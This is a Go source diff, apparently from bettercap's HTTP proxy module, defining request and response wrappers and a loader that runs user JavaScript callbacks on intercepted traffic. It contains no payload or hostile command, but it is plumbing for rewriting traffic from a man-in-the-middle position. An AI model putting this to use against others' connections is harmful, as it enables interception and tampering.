func (j *JSRequest) ParseForm() map[string]string {
if j.Body == "" {
j.Body = j.ReadBody()
}
form := make(map[string]string)
parts := strings.Split(j.Body, "&")
for _, part := range parts {
nv := strings.SplitN(part, "=", 2)
if len(nv) == 2 {
unescaped, err := url.QueryUnescape(nv[1])
if err == nil {
form[nv[0]] = unescaped
} else {
form[nv[0]] = nv[1]
}
}
}
return form
}
func (j *JSRequest) ToRequest() (req *http.Request) {
url := fmt.Sprintf("%s://%s:%s%s?%s", j.Scheme, j.Hostname, j.req.URL.Port(), j.Path, j.Query)
if j.Body == "" {
req, _ = http.NewRequest(j.Method, url, j.req.Body)
} else {
req, _ = http.NewRequest(j.Method, url, strings.NewReader(j.Body))
}
hadType := false
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
if headers[i] != "" {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
req.Header.Set(header_name, header_value)
if strings.ToLower(header_name) == "content-type" {
hadType = true
}
}
}
if !hadType && j.ContentType != "" {
req.Header.Set("Content-Type", j.ContentType)
}
return
}

View file

@ -0,0 +1,158 @@
package http_proxy
import (
"bytes"
"fmt"
"io/ioutil"
"net/http"
"strings"
"github.com/elazarl/goproxy"
)
type JSResponse struct {
Status int
ContentType string
Headers string
Body string
refHash string
resp *http.Response
bodyRead bool
bodyClear bool
}
func NewJSResponse(res *http.Response) *JSResponse {
cType := ""
headers := ""
code := 200
if res != nil {
code = res.StatusCode
for name, values := range res.Header {
for _, value := range values {
headers += name + ": " + value + "\r\n"
if strings.ToLower(name) == "content-type" {
cType = value
}
}
}
}
resp := &JSResponse{
Status: code,
ContentType: cType,
Headers: headers,
resp: res,
bodyRead: false,
bodyClear: false,
}
resp.UpdateHash()
return resp
}
func (j *JSResponse) NewHash() string {
return fmt.Sprintf("%d.%s.%s", j.Status, j.ContentType, j.Headers)
}
func (j *JSResponse) UpdateHash() {
j.refHash = j.NewHash()
}
func (j *JSResponse) WasModified() bool {
if j.bodyRead {
// body was read
return true
} else if j.bodyClear {
// body was cleared manually
return true
} else if j.Body != "" {
// body was not read but just set
return true
}
// check if any of the fields has been changed
return j.NewHash() != j.refHash
}
func (j *JSResponse) GetHeader(name, deflt string) string {
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
if strings.ToLower(name) == strings.ToLower(header_name) {
return header_value
}
}
return deflt
}
func (j *JSResponse) SetHeader(name, value string) {
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
if strings.ToLower(name) == strings.ToLower(header_name) {
old_header := header_name + ": " + header_value + "\r\n"
new_header := header_name + ": " + value + "\r\n"
j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
return
}
}
j.Headers += name + ": " + value + "\r\n"
}
func (j *JSResponse) RemoveHeader(name string) {
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
if strings.ToLower(name) == strings.ToLower(header_name) {
removed_header := header_name + ": " + header_value + "\r\n"
j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
return
}
}
}
func (j *JSResponse) ClearBody() {
j.Body = ""
j.bodyClear = true
}
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body)
headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ {
if headers[i] != "" {
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
resp.Header.Add(header_name, header_value)
}
}
return
}
func (j *JSResponse) ReadBody() string {
defer j.resp.Body.Close()
raw, err := ioutil.ReadAll(j.resp.Body)
if err != nil {
return ""
}
j.Body = string(raw)
j.bodyRead = true
j.bodyClear = false
// reset the response body to the original unread state
j.resp.Body = ioutil.NopCloser(bytes.NewBuffer(raw))
return j.Body
}

View file

@ -0,0 +1,100 @@
package http_proxy
import (
"net/http"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/session"
"github.com/robertkrimen/otto"
"github.com/evilsocket/islazy/plugin"
)
type HttpProxyScript struct {
*plugin.Plugin
doOnRequest bool
doOnResponse bool
doOnCommand bool
}
func LoadHttpProxyScript(path string, sess *session.Session) (err error, s *HttpProxyScript) {
log.Info("loading proxy script %s ...", path)
plug, err := plugin.Load(path)
if err != nil {
return
}
// define session pointer
if err = plug.Set("env", sess.Env.Data); err != nil {
log.Error("Error while defining environment: %+v", err)
return
}
// run onLoad if defined
if plug.HasFunc("onLoad") {
if _, err = plug.Call("onLoad"); err != nil {
log.Error("Error while executing onLoad callback: %s", "\nTraceback:\n "+err.(*otto.Error).String())
return
}
}
s = &HttpProxyScript{
Plugin: plug,
doOnRequest: plug.HasFunc("onRequest"),
doOnResponse: plug.HasFunc("onResponse"),
doOnCommand: plug.HasFunc("onCommand"),
}
return
}
func (s *HttpProxyScript) OnRequest(original *http.Request) (jsreq *JSRequest, jsres *JSResponse) {
if s.doOnRequest {
jsreq := NewJSRequest(original)
jsres := NewJSResponse(nil)
if _, err := s.Call("onRequest", jsreq, jsres); err != nil {
log.Error("%s", err)
return nil, nil
} else if jsreq.WasModified() {
jsreq.UpdateHash()
return jsreq, nil
} else if jsres.WasModified() {
jsres.UpdateHash()
return nil, jsres
}
}
return nil, nil
}
func (s *HttpProxyScript) OnResponse(res *http.Response) (jsreq *JSRequest, jsres *JSResponse) {
if s.doOnResponse {
jsreq := NewJSRequest(res.Request)
jsres := NewJSResponse(res)
if _, err := s.Call("onResponse", jsreq, jsres); err != nil {
log.Error("%s", err)
return nil, nil
} else if jsres.WasModified() {
jsres.UpdateHash()
return nil, jsres
}
}
return nil, nil
}
func (s *HttpProxyScript) OnCommand(cmd string) bool {
if s.doOnCommand {
if ret, err := s.Call("onCommand", cmd); err != nil {
log.Error("Error while executing onCommand callback: %+v", err)
return false
} else if v, ok := ret.(bool); ok {
return v
}
}
return false
}